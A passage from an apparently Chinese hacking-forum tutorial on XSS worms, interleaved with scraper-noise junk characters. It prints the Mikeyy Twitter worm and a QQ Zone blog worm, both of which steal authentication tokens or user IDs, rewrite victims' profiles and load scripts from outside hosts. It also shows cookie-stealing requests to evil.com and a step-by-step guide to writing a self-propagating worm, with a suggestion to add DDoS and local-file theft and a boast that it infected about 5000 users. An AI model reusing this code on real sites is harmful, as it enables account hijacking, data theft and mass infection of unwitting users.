var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
. `) e" B) a$ ]9 w9 M! w+ b4 L& C
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
+ o; f& y- a5 R! a3 U3 V
XmlHttp.send(null);

6 r8 q1 Q5 r/ b0 S</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
/ s, z: [0 d; O1 `
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


6 ^6 G7 e" z! f, r
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
# W% N& T( _$ ^  H+ S1 X
( r. ?' {9 j; ?: K: ~: zXmlHttp.send(null);
1 {9 w: Z" h8 x
. ]+ p( ?* j1 E$ q<script>
2 H% x, d* v! e1 M复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. K: X) Y8 C1 x, ^% V复制代码案例:Twitter 蠕蟲五度發威
* v8 O5 S- d- q% ]& t4 c第一版:
  下载 (5.1 KB)
' B  q1 O0 K% M5 a  w
6 天前 08:27
' `- j1 E/ y5 d3 P5 j) a
2 V* U# g7 m" |$ `; A  y: Y  S4 |' Q第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
0 h, V. Q6 T3 w
   2.   

   3. function XHConn(){  

, B6 ~4 G$ N) B   4.   var _0x6687x2,_0x6687x3=false;  
" m3 [4 C* ?1 ^5 }- S& H
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
% K% @5 U6 t5 f6 N5 ?& E5 a
. P% z' O- v; o& p" N( T& ~' U) W* v   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
' I' ~- ~4 z, H4 L1 j
' t! t1 o. S3 e   8.   catch(e) { _0x6687x2=false; }; }; };  
% {1 _: h  _4 [: F复制代码第六版:   1. function wait() {  
# Z, U  O4 B1 x$ c: g" r; Q, U
   2.   var content = document.documentElement.innerHTML;  

. y2 c  _% X* e5 s   3.   var tmp_cookie=document.cookie;  
5 z- f& X# z8 f/ [
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
$ S% K3 c, D- \  ^
  O  _* F. u7 j& o3 ~) X# \   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
$ a/ }' T; w: j
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

# l5 k2 g; H3 W: K2 t   8.   var randomUpdate= new Array();  
9 o) t+ K) `* b5 R
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

: I, B* ~) B% \* R/ R  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
: O0 R9 Q& L2 X# C( ]
% x5 x8 e. u, E) n9 _  o1 k# M  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

9 S. F' `/ K- [! t# l9 ?6 Z  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

- T' a# r8 d/ ?. y! d  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
5 `8 A+ [! s" D7 ?, {8 Z+ p! A
* ~1 j& ?/ B9 V) A2 t& Y  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

0 m1 S+ r$ D% `  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

; C) X3 L% O4 a  r0 P1 v  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
! r3 L+ E1 v! H) _1 C
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
6 }' f: m. d1 i; ], m) a
# y1 s8 P, K1 J3 l' n: J! a  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
3 x$ e- u% |( N0 M5 F* h
# V6 P! e7 t7 s. z( n$ N5 O8 I) @  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
6 d$ E! K6 X+ r& u: {
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
! s' Q- D! s& @
2 ~, q" n5 e- j& f  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

( f6 H! o$ S- U  J3 c- D7 J; S  24.     
0 j* U. z! a/ Y6 L1 v' @1 K* S
( E& \; p( F; \  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

: Y2 e2 f7 O9 [! [* s3 [; Z  28.   var ajaxConn= new XHConn();  

3 {+ e, T( U. j; j+ j, f  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
! a) E; t9 E5 Z0 `# }
+ S- ?4 r2 l8 g% Z" F0 m  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

4 Y; \6 ^0 U) |5 F  32.   var ajaxConn1= new XHConn();  

  s: }2 Z$ s: W) C$ A' a  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

) g$ ]$ r4 R5 b* `  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

% r1 P& U  I$ I  ]7 B1 l  35.   var XSS=urlencode(genXSS);  

9 _8 F8 i$ J* a4 t* |/ B, V1 P  36.   var ajaxConn2= new XHConn();  
- `/ I" K; E. f8 M$ D  \
3 \) i! @0 n/ X1 W  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
, F- i; _+ g+ I6 P" T
  38.     

  39. } ;  
! g+ f2 T2 z4 @' k
  40. setTimeout(wait(),5250);  
4 v: f0 I7 o% L, z# _( P复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


, j2 z& e! w' e4 _
var shendu;shendu=4;

( L5 h' h2 c2 o//---------------global---v------------------------------------------
8 M7 d6 J, T+ B0 O( M
3 v, i- t5 n$ e% K7 V- A& f5 n//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
3 Y; o' `2 e3 _
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
8 J2 }7 e6 T' Y& S
var myblogurl=new Array();var myblogid=new Array();

% E6 _- j& g1 t        var gurl=document.location.href;
1 L" X. q3 X; I9 C, S. V- B6 n
& A9 [% X" l! E, t        var gurle=gurl.indexOf("com/");
4 V$ y/ d% C* L: ?0 t  p4 Q$ ^0 @/ @
        gurl=gurl.substring(0,gurle+3);        

; e" c, H% I) U. Y+ S7 d. G7 @, ?/ t        var visitorID=top.document.documentElement.outerHTML;
2 M9 t! i( o9 K3 y9 j) P
2 x, F2 ?, z. T9 W) p           var cookieS=visitorID.indexOf("g_iLoginUin = ");

8 ~9 n1 o  ]0 n6 j3 |5 H# J4 x        visitorID=visitorID.substring(cookieS+14);

1 j$ I( b* a& R: s1 @        cookieS=visitorID.indexOf(",");
7 ^; i7 m4 q( S* K6 P; |/ I- \1 _7 F
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
% m2 x8 Z; `7 A2 q: Q+ X, |1 z
# p% G4 C& F9 c8 K5 O# {" D

//挂马

function DOshuamy(){

var ssr=document.getElementById("veryTitle");
; U, i, Y$ X. k. S
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}


; z$ |3 E8 W% ?
/ g4 g7 ]9 s5 Z2 `# T& A: e//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
0 `' z! t3 e- j$ A! P
1 W8 O! g' }! i' _function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
  n- ^$ P8 a2 X) W- k- l
   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
: R: [8 z- x. i5 m; x: l
4 G- o( a" K- ^     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
2 N( X" p3 n4 s7 Z. E+ J8 m
8 O* R$ J% n, F8 ?8 o3 C6 p    }
: }5 r+ s# a* \. \
; P) ?4 \  u1 s$ a) J; L, ^}
- G$ G& V8 f  a3 Q) h8 l
  }) @/ i8 g! u+ ^7 F8 i
1 J3 D3 _3 \) Y* |9 ~  u8 T. O
+ l, E9 J4 O1 i" n6 Y; t4 j2 }//这里似乎是判断没有登录的
. @% l- r/ H9 _) L7 a# d( z
8 p5 B  u7 a% l/ J# c! bfunction get_my_blogurl(guest){
2 z' I$ L4 d; V
1 _9 q1 G3 z' j  var mybloglist=guest;

  var myurls;var blogids;var blogide;

" w6 m8 y; r9 J; R+ [  for(i=0;i<shendu;i++){

" T1 u3 _! a4 y( v     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
  [/ b9 {' G, E/ x/ g3 C" [
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
+ P$ i' D) i. j
         myurls=mybloglist.indexOf(')');
; ^( W7 t' F+ c& d( K( E
         myblogid=mybloglist.substring(0,myurls);

$ Z+ p9 E' q' D1 E2 F: y& Y        }else{break;}

* u: J8 @& }6 s' r* u: x}

9 ~" A4 C3 z8 v) O) {get_my_testself();    //执行这个函数
' @% j! Y8 O+ e3 |3 I4 G5 h
1 e6 o$ w2 ^4 W% O- R8 d( i, u; f. l}
6 b- _+ w  ?& x5 e) z& |; ^
. p& q7 {- B1 e' S! r" {
5 v, k  i( u) r1 i
//这里往哪跳就不知道了

function get_my_testself(){
5 z; J& {; ?1 `  v
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
  v7 d1 P# h7 p3 p, Z$ H
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

& b+ l- f& i( c' x      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 [% S) \3 G  c0 @4 N  Y
      if(xhr2){        //如果成功

8 M( F1 c5 f8 n, P( A. s: ~' J              xhr2.open("GET",url,false);     //打开上面的那个url

% _/ Y$ b5 E1 {- }4 r9 H7 N              xhr2.send();

              guest2=xhr2.responseText;
* {: U, q- x% U; O' ]" {6 J0 D
& M0 Y' y) S  q: |              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

5 `9 C7 R7 {# K1 j) F& E0 S              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( O0 e) ^1 i% H' M
* M/ X! _4 M3 G' @% _                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

2 b) B6 u: n8 |) S; E( n% u/ ]                break;

               }
8 C5 P9 }/ J* ^; C& O' L, Z% k
4 S: F# _: D6 [  x+ B5 q              if(mycheckit=="-1"){

- V* e9 O- E( ~  d                targetblogurlid=myblogid;

. o( ^2 b! V7 }1 A7 i  u3 D                add_js(visitorID,targetblogurlid,gurl);    //执行它
7 z9 ^: k% J. A' Z
& a* P2 T4 A7 _% E8 G# A2 r6 |                break;
, s: Q" J7 C. @& a5 a4 E! _0 _! b3 O
               }
9 Z$ ~% _/ G8 L2 u6 v6 e% l
        }      
) z& ]. a4 x$ m- b2 x: o, y4 o
0 H- I" Y( \- ~/ N0 l}
+ O$ g6 v* E; Y! U
}
6 S# G+ @, {7 Y( w0 N
' J! G; z6 H4 G9 g8 e

$ |; @/ P$ Q4 k. l//--------------------------------------  
- s7 A2 _% Z6 ?1 r/ ?( ^
& I3 i+ v- [; Y4 y: p! K+ m//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

  o  ?1 V0 S5 X, N    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
% R1 }7 X' m7 l
    else  
( D' W$ K7 o1 ?- n* a( Y5 n
) S, V" b% Q5 H0 Z% W      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

% b0 O0 k. k8 p' c9 L4 {5 R/ Y0 z        for(var i=0;i<MSXML.length;i++)  
4 {7 D- x5 h0 u! R4 k! A
        {  
9 s' u1 m" R2 n, ]8 n' M' C/ ~
4 c' Y5 v1 [  [8 i8 G$ F: |            try  

2 t% _$ ]) [# B7 @: p            {  
. I: t( x2 a9 J1 G
8 u' v7 L! v& B* K8 z                XMLhttpObject=new ActiveXObject(MSXML);  
$ ^* W, F/ J$ s
* K* w+ w% W1 @; @# C7 b                break;  

" L3 t1 G: Z3 G( Z+ u            }  
; ^  n0 j7 e0 A7 i
            catch (ex) {  
" x3 }/ M; V2 d
            }  

         }  
6 C% q0 Y/ I4 {' h& B! a* D
      }
: b; Y! @# C2 k/ P8 N) @- l
1 `& _7 x" M0 x, P+ Dreturn XMLhttpObject;
- p! ?( S0 X' y  A+ o* e5 ^
+ a' f2 w' `% z; k" d}  
4 w; X7 w+ S  Q  ?! `( R. J
) v$ }& q5 b. H
. l& v9 f6 z$ T% V- L" H
//这里就是感染部分了

0 T: V8 ^5 y, F+ L, ?# ~0 Afunction add_js(visitorID,targetblogurlid,gurl){
9 F  r- t' z. [- }
1 e* P* I6 J6 v2 J0 lvar s2=document.createElement('script');

; L: u! B2 N1 \4 ~( l, |! i0 n( c+ ]s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ I0 }6 K3 g+ d
: e) o* c( n: s# }$ \5 K4 ^s2.type='text/javascript';

. y+ O$ K, _' E8 K7 Jdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
0 B, N$ m7 w7 x


function add_jsdel(visitorID,targetblogurlid,gurl){
6 G, s- u& c* n$ Q3 n
! R- s% Z2 P9 Z7 |7 n4 bvar s2=document.createElement('script');
; [" X& R8 U% k( W
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 P! ?1 Y( a- o% u  U" h/ A4 d/ r
s2.type='text/javascript';
& z4 M1 [- O/ r* h9 X9 {
document.getElementsByTagName('head').item(0).appendChild(s2);

}
8 [) i  S$ Q* Z! e6 {; D# [* o' r4 m复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
2 w; M; I+ H; P. l) t  P
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

% a, M) ~; _8 M* K& T  N& b综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) b9 Z5 H2 N+ C0 A, }( X
4 w9 i% _$ @2 Q4 Q) E
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
4 F# i0 e# H' d: @
8 Z0 v$ r9 U8 |0 v9 E, E) t首先,自然是判断不同浏览器,创建不同的对象var request = false;
2 x* |- M6 J- Y- `
if(window.XMLHttpRequest) {
4 a& o, K; O! L* U  f# R
request = new XMLHttpRequest();

if(request.overrideMimeType) {
& L* x! O' v% g: r1 l
% E  |, U8 v3 }5 f2 xrequest.overrideMimeType('text/xml');

}
" k7 l; v  m$ M+ }
} else if(window.ActiveXObject) {

: }0 O) Z2 A- Ivar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

9 V: [) r) Z4 t3 P, r  }for(var i=0; i<versions.length; i++) {
3 U7 @& _+ K6 d  ?5 }! E, @
$ \# @" E0 A! A' D5 j" b, p) Z+ ptry {
% B) H/ Z8 f0 A# E! x- x. E
request = new ActiveXObject(versions);
7 F0 M4 j6 j# _; V( T3 e' f/ N
} catch(e) {}

% s) w6 v4 z( L}

: E% U! n7 W$ m( B9 g7 T& }}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
5 \" H# J, L7 m1 i6 i
        var Browser_Name=navigator.appName;

9 `& t; {# K: p6 X) M        var Browser_Version=parseFloat(navigator.appVersion);
& X( `5 y  s( i* f
        var Browser_Agent=navigator.userAgent;

        

8 ~% C" ^% u- O        var Actual_Version,Actual_Name;
+ K! [$ Q9 h6 k& h$ p5 i
9 z% W" g( r7 E" B: ]1 H8 B; N        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
3 B# W# ]. F4 Z2 e2 L. I5 }
        var is_NN=(Browser_Name=="Netscape");
. S$ J  f# W; f
        var is_Ch=(Browser_Name=="Chrome");
4 a1 I, x+ Y5 m/ ?- ^! U1 {
% y4 ?" M* g8 _/ d7 t        

        if(is_NN){

            if(Browser_Version>=5.0){
2 v, w) N" s. b( Q% a8 G& G
                var Split_Sign=Browser_Agent.lastIndexOf("/");
" H; U' f% _* F
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

) O) p5 ~2 U8 B8 p                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
" u% F$ C2 A# d8 A, [9 g& X

! J  C8 f0 k* y6 ^
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
. {0 [1 a* O( F, z/ N, a+ o7 n+ t
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

6 D! R3 i  O1 ]' V0 U0 ^            }

            else{
6 y& h5 f1 Y# u; L5 T
+ \9 U  q% i& d' j( i  I3 C                Actual_Version=Browser_Version;

! O, Q) @1 a- @7 I: C+ U                Actual_Name=Browser_Name;
% m3 Y5 u8 s8 k6 ]* Q7 j
- `* L9 \8 [4 h            }
9 B' o2 j% W9 a$ Q$ ?7 y6 {% G
        }
- P5 G/ U9 w  y- T+ b: E
; f. S+ p' v3 F, x0 Q        else if(is_IE){
. e+ ^% q; f' |- v" Y
. h# e$ R( q! Y1 F6 J            var Version_Start=Browser_Agent.indexOf("MSIE");
/ I7 k) d5 A( t: m) ^( N- q8 X5 a! V
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
( Z5 K" t% P$ Z2 P, @
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 X# T  C3 b7 g: U, x4 N& t
) b6 B# A6 U1 g4 x/ L& F  c! i7 u) i$ w            Actual_Name=Browser_Name;

# `& e# ~) B1 @/ t            

0 j( u0 o4 E8 Q% A/ v            if(Browser_Agent.indexOf("Maxthon")!=-1){

& x4 g* Z/ p/ f7 A) w# `                Actual_Name+="(Maxthon)";
2 s! _# h+ M2 K, Q" Y& ?) B
8 t% u$ H, h& m( ~/ i            }
( V8 Q) Y3 e6 \
            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

% A( B  _6 @: r6 k& h$ P- t                var tempend=Browser_Agent.length;
, F( x6 x# \$ V7 M
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
  Z9 W/ Z- ]: z/ }
        }
6 X1 @  Y- N. `7 L  s
' m/ z* I6 N  s  y4 z. z, O        else if(is_Ch){

% c* v8 H' G9 e  ^, ?) m& t            var Version_Start=Browser_Agent.indexOf("Chrome");

! X+ }/ A3 C% a* k6 p7 z            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
: J9 ]% z# i& r
$ z  V- `; c7 b' B2 a2 V1 _7 Z            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
2 u3 t! J( a% ^" {0 o8 K% e  H
( {6 w; @; r6 i1 I* W" U1 B' |            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
9 X& t% Q! I; L; b( r: e
                var tempstart=Browser_Agent.indexOf("Opera");
7 j/ z* T( h! B' S$ h  q5 W
3 z; C/ v  @0 z                var tempend=Browser_Agent.length;

5 o* ?6 h6 _! P                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

        else{

: k2 L5 f8 D; V* l3 J& _! k            Actual_Name="Unknown Navigator"

6 b: i1 G- [  t  O9 C5 s            Actual_Version="Unknown Version"

        }

  e& o- S3 V' b
5 I/ s1 O% M) X6 j% \
4 S( J# P0 @6 s( K4 u        navigator.Actual_Name=Actual_Name;
3 n/ E4 A- O1 k( P3 T
        navigator.Actual_Version=Actual_Version;
3 x1 w: T8 E: L6 S7 V
        
; p' f) a. H- t: F+ d" d* R2 X
        this.Name=Actual_Name;
! y* X5 `, ^& K4 a+ F
        this.Version=Actual_Version;
* W; z5 t$ I3 u' v' N2 e* X) e
: m+ i- k" l  {( q    }
, ]# ?7 Q* L* C' Z; N
    browserinfo();
+ ~: p1 d$ d. h8 R# Z) U2 U
' T8 ^! I: s/ ~1 _* G    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
, n' m, F7 t( l# `2 ?
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
; r8 e- N7 e! t. U! L复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
2 v" C2 U  f1 j# Y复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
8 D1 Z7 ~; [  r5 v9 Q* M
xmlHttpReq.send(null);
- S  {4 T( y% L1 a# k" A
var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
" m; |! g0 m7 w* ~0 C, g
9 {* v: k' l5 |0 Cwhile ((result = patt.exec(resource)) != null)  {
/ i: a% r, W+ O! A& [: x, P: [" j- ?
' M/ S1 \; j7 Q2 b7 `2 R6 c: F6 @id++;
% D% P- x9 t6 ^
" Q# V. B9 X+ v3 J6 v5 J" I/ @; t}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
; ?. e" b# t4 x$ _# k# h6 z
+ \2 U4 N$ n8 o4 v1 v6 bno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
2 A8 |" t; ?2 {& w
- w- S: s- @9 R% W% o1 Uvar post="wd="+wd;
* T; ~/ R" V5 w& I1 b  a+ g' d
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
; e% h# X! [) V4 u9 O
7 R5 q# e1 U. exmlHttpReq.setRequestHeader("content-length",post.length);
1 T0 c% p7 B/ a7 Z1 z& I
3 r% p) i8 T$ Y3 WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
$ K5 x3 T# P% T) ^! N2 C4 e
xmlHttpReq.send(post);

2 D/ [7 C3 H; R- ?# u# C}
7 F8 [% a# K7 F) ]复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

5 N: n# I; r. Jvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
8 i" O. z+ |. w# }, Y
' u+ W6 d* G* x! \9 E; Avar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

3 t" k: f+ v! t9 c2 G. U- Yvar post="wd="+wd;
; X* d2 U0 v; W- F  L
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
; h$ X) Y2 u7 _1 v; K
  I1 r+ z- K$ ]! t8 x% G- p# DxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ s  D. M5 X; X! Z: s( ~/ ?
% ^0 G# g: w3 I: M0 ZxmlHttpReq.setRequestHeader("content-length",post.length);
" u. z* T. N0 r; J+ M' ]" H  h
9 v  J6 a+ f7 N" _+ F4 z2 j! L' txmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
" z" M- W$ K4 c, n" n8 P% z( K0 @
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
2 E* J5 v0 k( n) G# m( ~& ~
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

2 F' \7 A, N; H2 g5 C' N
: ]3 l3 `9 n1 K- a* ~
' C" Q! q1 @5 d本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


( F6 [3 V" _; f7 n0 Y
4 c7 p% z$ D7 Z
: u% a& B7 K% o

# t1 w! I1 ^% p$ A" @5 L$ L" \

本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
